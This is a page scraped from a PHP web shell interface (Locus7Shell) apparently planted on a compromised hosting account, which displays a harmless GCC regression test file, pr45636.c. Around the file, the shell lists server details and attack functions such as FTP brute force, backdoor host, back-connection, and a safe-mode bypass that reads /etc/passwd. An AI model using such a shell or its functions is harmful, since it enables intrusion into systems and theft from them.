Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.dg/torture/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     pr45636.c (1.58 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* { dg-do run } */
/* { dg-require-effective-target mempcpy } */
/* PR fortran/45636 */

typedef __SIZE_TYPE__ size_t;
void *memcpy (void *__restrict__, const void *__restrict__, size_t);
void *mempcpy (void *__restrict__, const void *__restrict__, size_t);
void *memset (void *, int, size_t);
int memcmp (const void *, const void *, size_t);
extern void abort (void);

struct A { int i; char c[32]; } a[2];

__attribute__((noinline, noclone)) int
f1 (char *p, int q, int z)
{
  memcpy (p, "abcd", 4);
  if (q)
    z = z + 123;
  else
    z *= 114;
  memset (p + 4, ' ', 2);
  return z;
}

__attribute__((noinline, noclone)) void
f2 (void)
{
  char *p = mempcpy (&a[0].c[13], "123456", 4);
  memset (p, '7', 3);
}

__attribute__((noinline, noclone)) void
f3 (struct A *p)
{
  p++;
  char *q = &p->c[10];
  memcpy (q + 4, "__1234567" + 2, 7);
  memset (&p->c[21], '9', 3);
}

__attribute__((noinline, noclone)) void
f4 (void)
{
  memcpy (&a[0].c[10], "0123456789", 10);
  memset (&a[0].c[13], ' ', 3);
}

__attribute__((noinline, noclone)) void
check (const char *p, const char *str, size_t size)
{
  const char *q;
  for (q = (const char *) &a; q < p; q++)
    if (*q)
      abort ();
  if (memcmp (p, str, size) != 0)
    abort ();
  for (q = p + size; q < (const char *) (&a[0] + 2); q++)
    if (*q)
      abort ();
  memset (&a, '\0', sizeof a);
}

int
main (void)
{
  if (f1 (&a[0].c[7], 1, 2) != 125)
    abort ();
  check (&a[0].c[7], "abcd  ", 6);
  f2 ();
  check (&a[0].c[13], "1234777", 7);
  f3 (&a[0]);
  check (&a[1].c[14], "1234567999", 10);
  f4 ();
  check (&a[0].c[10], "012   6789", 10);
  return 0;
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0057 ]--